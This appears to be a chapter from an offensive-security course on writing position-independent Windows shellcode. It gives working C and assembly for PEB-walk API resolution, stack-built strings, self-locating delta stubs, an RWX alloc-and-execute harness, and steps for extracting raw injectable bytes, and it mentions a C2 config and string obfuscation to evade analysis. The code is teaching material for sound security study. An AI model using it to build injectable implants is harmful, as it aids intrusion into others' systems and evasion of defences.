Chapter 05

Position-Independent Code Principles

Shellcode gets injected at whatever address the target process has available. Code that only works at a specific address is worthless as shellcode. This chapter explains exactly what makes code position-dependent, how to eliminate every dependency on absolute addresses, and how to verify your code genuinely works from anywhere before you point it at a real target.

What Makes Normal Code Position-Dependent

When you compile a C program, the compiler generates code that refers to things by their addresses. If a function calls another function, the generated machine code contains either a relative or absolute reference to that function's address. If a function accesses a global variable, the code loads from that variable's address. If a function uses a string literal, the code loads from the address where the linker placed that string in the .rdata section.

All of these addresses are computed at link time, based on the assumption that the binary will load at its preferred ImageBase. If you inject that code somewhere else — at a different virtual address, in a remote process — every one of those assumptions is wrong.

How an absolute address reference breaks under injection
  Compile-time layout (preferred ImageBase = 0x140000000):
  ┌─────────────────────────────────────────────────────────┐
  │  0x140001000  [.text]  CALL 0x140001200  ; calls foo()  │
  │  0x140001200  [.text]  foo: ...                         │
  │  0x140003000  [.rdata] "Hello, world\0"                 │
  │  0x140004000  [.data]  global_counter: 0                │
  └─────────────────────────────────────────────────────────┘

  After injection at a different address (e.g., 0x20000000):
  ┌─────────────────────────────────────────────────────────┐
  │  0x20000000   [your code, copied here]                  │
  │  Still says: CALL 0x140001200  ← WRONG ADDRESS          │
  │  Still says: MOV  RAX, [0x140003000]  ← WRONG           │
  │  Still says: INC  DWORD [0x140004000] ← WRONG           │
  └─────────────────────────────────────────────────────────┘

  Result: access violations, jumps to garbage, silent data corruption.
  The code crashes immediately or does something completely wrong.
        

There are three categories of absolute reference that break under injection:

  1. Call targets — absolute addresses in CALL instructions (less common on x64 which prefers relative calls, but still occurs via indirect calls through global function pointers)
  2. Data references — accessing global variables, string literals, or any data that the compiler placed at a fixed address in the binary's address space
  3. Import table calls — calls that go through the IAT, which doesn't exist in raw shellcode and points to a different address space in an injected PE before IAT fixup

x64 Is More PIC-Friendly Than x86

This is genuinely good news for modern shellcode development. The x64 architecture added RIP-relative addressing — the ability to access memory at an offset from the current instruction pointer. This means most data references in x64 code are automatically relative:

; x86 (32-bit) — absolute address in the instruction
MOV EAX, DWORD PTR [0x10003000]   ; absolute — breaks when injected

; x64 — RIP-relative addressing
MOV EAX, DWORD PTR [RIP + 0x1234] ; relative to current IP — works anywhere
                                   ; the "+0x1234" is a compile-time constant
                                   ; offset to the data item

Modern compilers (both GCC and MSVC) automatically generate RIP-relative addressing for data access on x64. This means that a large fraction of what used to require manual PIC work on x86 is handled automatically on x64. But it doesn't cover everything. The remaining sources of position-dependency that you need to handle manually are:

The Four Rules of PIC Shellcode

Following these four rules produces shellcode that works at any address in any process without modification:

The four rules of position-independent code
  Rule 1: No imports
  ──────────────────────────────────────────────────────────────────
  All functions must be resolved at runtime via PEB walk + export
  directory parsing (Chapter 3). The IAT doesn't exist in shellcode.
  Every external function is called through a local function pointer.

  Rule 2: No global variables with non-constant values
  ──────────────────────────────────────────────────────────────────
  Globals with non-trivial values reference addresses in the binary's
  .data or .bss section. If those sections aren't mapped alongside
  the .text section (which they often aren't in shellcode scenarios),
  those references break. Keep state on the stack or in memory you
  allocate at runtime. Initialize everything explicitly.

  Rule 3: No string literals in .rdata
  ──────────────────────────────────────────────────────────────────
  "kernel32.dll" stored as a string literal goes into .rdata.
  If you copy only the .text section as shellcode, .rdata isn't
  there — the reference breaks. Instead:
    (a) Store strings inline on the stack (byte by byte)
    (b) Build strings character-by-character at runtime
    (c) Use compile-time XOR-encrypted strings decoded at runtime
    (d) Or use API hashing to avoid strings entirely (Chapter 7)

  Rule 4: Find your own base address when you need it
  ──────────────────────────────────────────────────────────────────
  If your shellcode needs to reference data that's embedded within
  itself (a config blob, embedded payload bytes), it must find its
  own base address at runtime using the delta-offset technique.
  You cannot use compile-time offsets without knowing your load address.
        

Inline Stack Strings — Eliminating .rdata References

Every string literal in C gets stored in the .rdata section. To avoid this, you build the string on the stack at runtime. The compiler generates stack-relative stores that work at any address.

// BAD: "kernel32.dll" goes into .rdata — broken in isolated shellcode
void bad_example(void) {
    const char* dll = "kernel32.dll";  // .rdata reference
    // ...
}

// GOOD: build the string on the stack — no .rdata
void good_example(void) {
    char dll[14];
    dll[0]  = 'k'; dll[1]  = 'e'; dll[2]  = 'r'; dll[3]  = 'n';
    dll[4]  = 'e'; dll[5]  = 'l'; dll[6]  = '3'; dll[7]  = '2';
    dll[8]  = '.'; dll[9]  = 'd'; dll[10] = 'l'; dll[11] = 'l';
    dll[12] = '\0';
    // dll is now stack-allocated, no .rdata dependency
    // ...
}

This is verbose, but it produces exactly one instruction per character (a store to a stack slot). On x64, the compiler often optimizes multiple consecutive character stores into wider stores (DWORD or QWORD):

; What the compiler typically generates for the stack string:
; "kern" → stored as 0x6E72656B (little-endian 'k','e','r','n')
MOV DWORD PTR [RSP+0x00], 0x6E72656B  ; "kern"
MOV DWORD PTR [RSP+0x04], 0x32336C65  ; "el32"
MOV DWORD PTR [RSP+0x08], 0x006C6C2E  ; ".dll\0"
; All stack-relative — PIC, works anywhere

A cleaner approach for longer strings is a macro that generates these assignments:

// PUSH_STR macro: build a wide string on the stack
// Usage: PUSH_WSTR(buf, L"kernel32.dll")
// buf must be a WCHAR array large enough for the string

#define PUSH_STR(dst, str)  do { \
    const char _s[] = str;       \
    for (int _i = 0; _i <= sizeof(_s)-1; _i++) \
        ((char*)(dst))[_i] = _s[_i]; \
} while(0)

// Then in PIC shellcode:
void pic_example(void) {
    char dll[14];
    PUSH_STR(dll, "kernel32.dll");
    // dll is on the stack, no .rdata
}
The compile-time XOR approach (preview of Chapter 44)
An even cleaner solution — which you'll build in Part 7 — is to encrypt all strings at compile time using a C++ constexpr XOR template, then decrypt them to a stack buffer at runtime. This has the additional advantage of hiding the strings from static analysis, not just from PIC breakage. For now, stack strings are sufficient.

Finding Your Own Base Address — The Delta-Offset Pattern

Sometimes your shellcode needs to reference data embedded within itself — a configuration block, an embedded second stage, a key. Since it doesn't know where it's loaded, it can't use compile-time addresses to reach that data. It needs to find its own load address at runtime.

The classic technique, used in nearly all real-world shellcode, is the CALL/POP delta trick:

; x86 (32-bit) delta trick — classic form
get_base:
    call next_instr     ; push the address of next_instr onto the stack
next_instr:
    pop  ebx            ; ebx = address of "next_instr" label (our current position)
    sub  ebx, (next_instr - image_start)  ; subtract compile-time offset
                        ; ebx now = image_start (our actual load address)

; Access embedded data using the base:
    lea  eax, [ebx + (my_data - image_start)]  ; runtime address of my_data
; x64 version — cleaner because RIP is directly accessible
; In most x64 shellcode you skip the delta trick entirely for data
; because RIP-relative addressing handles it automatically.
; But if you need the image base explicitly:
get_rip:
    lea  rax, [rip + 0]   ; rax = address of THIS instruction
    ; Subtract the compile-time offset from image_start to get image_start

In C, you can implement this with inline assembly:

// Get the current instruction pointer value in C (x64)
static inline void* get_rip(void) {
    void* rip;
    __asm__ volatile (
        "lea %0, [rip]"
        : "=r"(rip)
    );
    return rip;
}

// Example: shellcode that finds an embedded config block
// Layout: [shellcode code][config_block]
// compile-time offset of config_block from code start = OFFSET_TO_CONFIG
#define OFFSET_TO_CONFIG 0x200  // example: config is 512 bytes past code start

typedef struct {
    DWORD  sleep_time;
    char   c2_domain[64];
    BYTE   xor_key;
} Config;

void shellcode_entry(void) {
    // Step 1: find our own code start
    // The RIP value here is somewhere inside shellcode_entry.
    // We use the function pointer itself as an approximation of the start.
    // (In real shellcode compiled as a single translation unit, use a
    // CALL/POP stub at the very start that stores the base accurately.)
    BYTE* base = (BYTE*)shellcode_entry;

    // Step 2: access the embedded config at a known offset from our base
    Config* cfg = (Config*)(base + OFFSET_TO_CONFIG);

    // Now use cfg->c2_domain, cfg->sleep_time, etc.
    // All computed at runtime — no .rdata, no absolute addresses.
}
The imprecision of using a function pointer as base
Using (BYTE*)shellcode_entry gives you the address of the function's first instruction, not necessarily the start of your entire shellcode blob. If there's any prefix code (a trampoline, a header, prologue stubs), the offset calculation will be wrong. The fully correct approach is a dedicated CALL/POP stub at byte offset zero of the shellcode blob that records the exact start address before jumping to the main body. This is standard in any production shellcode. Part 2 (Shellcode Development) builds the complete version.

Testing PIC Correctness — The Alloc and Run Harness

The only reliable way to verify that your code is genuinely PIC is to run it from a different address than it was compiled for. Here's the test harness: allocate a new region, copy the shellcode there, run it. If it works, it's PIC. If it crashes or produces wrong behavior, you have a position dependency to find.

// pic_test.c — harness for testing position-independent code
// Compile your PIC function separately as shellcode.bin, then test with this.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>

// For testing, we'll use a simple function as our "shellcode"
// In real use, you'd load shellcode.bin from a file or embed as a byte array
void target_func(void);  // the function to test for PIC

int main(void) {
    // Get the address and approximate size of the function
    BYTE* func_start = (BYTE*)target_func;
    // In practice, determine size from your build (symbols, objdump, etc.)
    // Here we assume max 4096 bytes for the test
    SIZE_T func_size = 4096;

    printf("[*] Original function at: %p\n", func_start);

    // Allocate a new region at a DIFFERENT address
    BYTE* new_addr = (BYTE*)VirtualAlloc(
        NULL,                         // let OS choose address
        func_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE        // RWX for the test
    );
    if (!new_addr) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[*] Copied to new address: %p\n", new_addr);
    printf("[*] Delta: 0x%llX bytes\n",
        (ULONGLONG)(new_addr - func_start));

    // Copy the function to the new address
    memcpy(new_addr, func_start, func_size);

    // Execute from the new address
    printf("[*] Executing from new address...\n");
    typedef void (*fn_t)(void);
    fn_t relocated = (fn_t)new_addr;
    relocated();

    printf("[+] Execution completed successfully — code is PIC!\n");

    VirtualFree(new_addr, 0, MEM_RELEASE);
    return 0;
}

The critical test is the delta between the original and relocated addresses. Make it large — ideally larger than the entire binary's SizeOfImage — to ensure no accidental alignment rescues a broken absolute reference. In practice, allocating at NULL and letting the OS pick an address is sufficient, since the OS places allocations in a different region than the loaded binary.

Diagnosing PIC Failures

When your relocated code crashes, attach x64dbg to the test harness and step through the execution from the new address. The crash will be at the first absolute reference. Common patterns:

Common PIC failure modes and their causes
  Access violation at an address near 0x140001xxx
  ────────────────────────────────────────────────
  Your code is trying to access something at the old ImageBase.
  Cause: a string literal in .rdata, a global variable in .data,
         or a call through a global function pointer initialized
         at compile time.
  Fix:   Stack strings, remove globals, use local function pointers.

  Access violation at a completely random-looking address
  ────────────────────────────────────────────────────────
  Often a null pointer dereference because a function pointer that
  should have been resolved is still NULL, or the PEB walk failed.
  Cause: API resolution code not working (wrong PEB offset, wrong
         module name comparison).
  Fix:   Step through the API resolution and verify each step.

  CALL to an unexpected address
  ────────────────────────────────────────────────────────
  The function you're calling is being invoked through a cached
  pointer that still holds the old virtual address.
  Cause: Stored function pointer initialized before relocation,
         or a vtable reference (C++ virtual calls).
  Fix:   Resolve all function pointers after copying, not before.
         Avoid C++ virtual dispatch in shellcode.

  Works sometimes, crashes sometimes
  ────────────────────────────────────────────────────────
  Timing or state issue. Often: a function that reads from .rdata
  coincidentally gets readable memory there (the OS hasn't
  protected it yet). Run the test 10 times — consistent passes
  are much stronger evidence than 1-2 passes.
        

A Practical PIC Shellcode Skeleton

Combining everything from Chapters 2–5, here is the minimal PIC shellcode skeleton you'll use as a starting point in Part 2. It contains no imports, no string literals in .rdata, no global variables, finds its own base, resolves all APIs at runtime, and runs correctly at any address:

// pic_skeleton.c — PIC shellcode skeleton
// Compile to a flat binary with objcopy or extract the .text section.
// All state is local. All strings are stack-built. All APIs are resolved.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "peb.h"    // our PEB walk structures

// ── Forward declarations ───────────────────────────────────────────
static MY_PEB*  get_peb_pic(void);
static void*    find_module_pic(const WCHAR* name);
static void*    get_export_pic(void* base, const char* func);

// ── All the API types we'll need ──────────────────────────────────
typedef HMODULE (WINAPI* fn_LoadLibraryA)  (LPCSTR);
typedef FARPROC (WINAPI* fn_GetProcAddress)(HMODULE, LPCSTR);
typedef HANDLE  (WINAPI* fn_CreateThread)  (LPSECURITY_ATTRIBUTES,
                    SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef void    (WINAPI* fn_ExitProcess)   (UINT);
typedef int     (WINAPI* fn_MessageBoxA)   (HWND, LPCSTR, LPCSTR, UINT);

// ── Shellcode entry point ─────────────────────────────────────────
void shellcode_main(void) {
    // Step 1: Find kernel32 via PEB — no imports, no strings in .rdata
    WCHAR k32_name[14];
    k32_name[0]=L'k'; k32_name[1]=L'e'; k32_name[2]=L'r'; k32_name[3]=L'n';
    k32_name[4]=L'e'; k32_name[5]=L'l'; k32_name[6]=L'3'; k32_name[7]=L'2';
    k32_name[8]=L'.'; k32_name[9]=L'd'; k32_name[10]=L'l'; k32_name[11]=L'l';
    k32_name[12]=L'\0';
    void* k32 = find_module_pic(k32_name);

    // Step 2: Resolve LoadLibrary and GetProcAddress from kernel32 exports
    char ll_name[13];
    ll_name[0]='L';ll_name[1]='o';ll_name[2]='a';ll_name[3]='d';
    ll_name[4]='L';ll_name[5]='i';ll_name[6]='b';ll_name[7]='r';
    ll_name[8]='a';ll_name[9]='r';ll_name[10]='y';ll_name[11]='A';
    ll_name[12]='\0';

    char gpa_name[15];
    gpa_name[0]='G';gpa_name[1]='e';gpa_name[2]='t';gpa_name[3]='P';
    gpa_name[4]='r';gpa_name[5]='o';gpa_name[6]='c';gpa_name[7]='A';
    gpa_name[8]='d';gpa_name[9]='d';gpa_name[10]='r';gpa_name[11]='e';
    gpa_name[12]='s';gpa_name[13]='s';gpa_name[14]='\0';

    fn_LoadLibraryA   pLoadLib = (fn_LoadLibraryA)  get_export_pic(k32, ll_name);
    fn_GetProcAddress pGetProc = (fn_GetProcAddress) get_export_pic(k32, gpa_name);

    // Step 3: Load user32 and resolve MessageBoxA (all stack strings)
    char u32_name[11];
    u32_name[0]='u';u32_name[1]='s';u32_name[2]='e';u32_name[3]='r';
    u32_name[4]='3';u32_name[5]='2';u32_name[6]='.';u32_name[7]='d';
    u32_name[8]='l';u32_name[9]='l';u32_name[10]='\0';
    HMODULE user32 = pLoadLib(u32_name);

    char mb_name[12];
    mb_name[0]='M';mb_name[1]='e';mb_name[2]='s';mb_name[3]='s';
    mb_name[4]='a';mb_name[5]='g';mb_name[6]='e';mb_name[7]='B';
    mb_name[8]='o';mb_name[9]='x';mb_name[10]='A';mb_name[11]='\0';
    fn_MessageBoxA pMsgBox = (fn_MessageBoxA)pGetProc(user32, mb_name);

    // Step 4: Build our message strings on the stack too
    char msg[7];
    msg[0]='I';msg[1]='t';msg[2]=' ';msg[3]='w';
    msg[4]='o';msg[5]='r';msg[6]='\0';  // "It wor[ks]" — abbreviated for demo

    char title[4];
    title[0]='P';title[1]='I';title[2]='C';title[3]='\0';

    // Step 5: Call — works from any address, in any process
    pMsgBox(NULL, msg, title, 0);

    // Step 6: Find and call ExitProcess
    char ep_name[12];
    ep_name[0]='E';ep_name[1]='x';ep_name[2]='i';ep_name[3]='t';
    ep_name[4]='P';ep_name[5]='r';ep_name[6]='o';ep_name[7]='c';
    ep_name[8]='e';ep_name[9]='s';ep_name[10]='s';ep_name[11]='\0';
    fn_ExitProcess pExit = (fn_ExitProcess)get_export_pic(k32, ep_name);
    pExit(0);
}

// ── PIC implementations of PEB walk helpers ───────────────────────
// (same logic as Chapter 3 but all state is local, no globals)

static MY_PEB* get_peb_pic(void) {
    MY_PEB* p;
    __asm__ volatile ("mov %%gs:0x60, %0" : "=r"(p));
    return p;
}

static int wieq(WCHAR* a, USHORT len, const WCHAR* b) {
    USHORT i=0, n=len/sizeof(WCHAR);
    while(i<n&&b[i]){WCHAR ca=a[i],cb=b[i];
        if(ca>='a'&&ca<='z')ca-=32;if(cb>='a'&&cb<='z')cb-=32;
        if(ca!=cb)return 0;i++;}
    return(i==n)&&!b[i];
}

static int aeq(const char* a, const char* b) {
    while(*a&&*a==*b){a++;b++;} return *a==*b;
}

static void* find_module_pic(const WCHAR* name) {
    MY_LIST_ENTRY* head=&get_peb_pic()->Ldr->InMemoryOrderModuleList;
    MY_LIST_ENTRY* curr=head->Flink;
    while(curr!=head){
        MY_LDR_DATA_TABLE_ENTRY* e=(MY_LDR_DATA_TABLE_ENTRY*)(
            (BYTE*)curr-offsetof(MY_LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks));
        if(e->BaseDllName.Buffer&&
           wieq(e->BaseDllName.Buffer,e->BaseDllName.Length,name))
            return e->DllBase;
        curr=curr->Flink;
    }
    return NULL;
}

static void* get_export_pic(void* base, const char* func) {
    BYTE* b=(BYTE*)base;
    IMAGE_NT_HEADERS64* nt=(IMAGE_NT_HEADERS64*)(b+
        ((IMAGE_DOS_HEADER*)b)->e_lfanew);
    DWORD erva=nt->OptionalHeader.DataDirectory[0].VirtualAddress;
    if(!erva)return NULL;
    IMAGE_EXPORT_DIRECTORY* ed=(IMAGE_EXPORT_DIRECTORY*)(b+erva);
    DWORD* names=(DWORD*)(b+ed->AddressOfNames);
    WORD*  ords =(WORD*) (b+ed->AddressOfNameOrdinals);
    DWORD* funcs=(DWORD*)(b+ed->AddressOfFunctions);
    for(DWORD i=0;i<ed->NumberOfNames;i++)
        if(aeq((char*)(b+names[i]),func))
            return(void*)(b+funcs[ords[i]]);
    return NULL;
}

Notice what this code has: local variables only, stack-built strings, PEB walk that uses no global state, export resolution that's entirely self-contained. This is what a PIC shellcode actually looks like before you start optimizing it for size (Part 2) or obfuscating strings (Part 7).

Extracting Raw Shellcode From a Compiled Binary

When you build a PIC C file, the result is a PE with a .text section. To use it as raw shellcode (bytes you inject directly), you need to extract just that section's content as a flat binary:

# Build the PIC code as an object file first
x86_64-w64-mingw32-gcc -Os -nostdlib -nodefaultlibs -fno-ident \
    -fno-asynchronous-unwind-tables -ffunction-sections -fdata-sections \
    -c -o pic_skeleton.o pic_skeleton.c

# Extract just the .text section as a flat binary
x86_64-w64-mingw32-objcopy -O binary \
    --only-section=.text \
    pic_skeleton.o shellcode.bin

# Verify the extraction
xxd shellcode.bin | head -4
# Should show your shellcode bytes starting with the function prologue

# Get the size
wc -c shellcode.bin
# Optional: convert to a C byte array for embedding
with open("shellcode.bin", "rb") as f:
    data = f.read()

print(f"unsigned char shellcode[] = {{")
print("    " + ", ".join(f"0x{b:02X}" for b in data))
print(f"}};")
print(f"size_t shellcode_len = {len(data)};")

This byte array is your shellcode. Copy it into a VirtualAlloc allocation in any process and call it — it runs your shellcode_main function from wherever it lands in memory.

Questions & Answers

Does ASLR mean all code is already PIC?

No, and this is a common misconception. ASLR randomizes the base address of a PE at load time. But the Windows loader still applies the relocation table to fix absolute references before running any code. So a PE with relocations works under ASLR because the loader has fixed it up — not because the code is truly PIC. True PIC contains no absolute references to fix at all. Shellcode needs to be true PIC because when you inject it into a remote process, no relocation fixing happens — you just copy bytes and run them. The loader doesn't know about your injection.

Can I use C++ in PIC shellcode?

With care, yes. Templates, inline functions, and most C++ syntax work fine because they don't introduce position dependencies. What you must avoid: virtual functions (vtables are stored at absolute addresses in .rdata), C++ exceptions (require unwind tables and CRT helpers), global C++ objects with constructors (constructors run before your entry point, can't work without CRT), and std::string / STL containers (allocate heap via CRT, depend on global state). Practical shellcode usually stays in C with template helpers for compile-time operations like string encryption.

What is the difference between PIC and PIE?

PIC (Position-Independent Code) is a property of machine code — it works regardless of load address. PIE (Position-Independent Executable) is a compile flag that tells the compiler and linker to generate PIC for an EXE (as opposed to a DLL, which is almost always PIC). On Linux, -fPIE produces a PIE executable that ASLR can randomize. On Windows, the equivalent is /DYNAMICBASE (MSVC) which enables ASLR — but Windows ASLR works via relocations, not true PIC. The term is used loosely: when offensive developers say their shellcode is "PIC," they mean it contains no absolute address references and can run from any location.

Why do the stack strings look so ugly? Is there a better way?

The manual character-by-character assignment is ugly but it's what you'll see in a lot of real shellcode — it's the most explicit and easiest to debug. In Part 7 you'll build a C++ constexpr XOR cipher that encrypts strings at compile time and decrypts them to a stack buffer at runtime. The result looks like DECRYPT(buf, ENCRYPTED("kernel32.dll")) — clean to write, decrypts to the stack automatically, and hides the string from static analysis as a bonus. For now, the verbose form is correct and works fine; it's just not how production code is written once you have the encryption infrastructure in place.

The skeleton's string-building code is enormous. Does this matter for shellcode size?

It matters but is manageable. The skeleton above spends most of its bytes on string construction. The real answer is API hashing (Chapter 7): instead of building "GetProcAddress" as a stack string and doing a name comparison, you compute a hash of each export name while walking the export directory and compare it against a hardcoded 32-bit constant. The hash check is a single integer comparison — no string, no character-by-character building. A complete shellcode bootstrap that resolves a dozen APIs via hashing typically fits in under 300 bytes. The stack string approach is used here for clarity; hashing is what you use when size matters.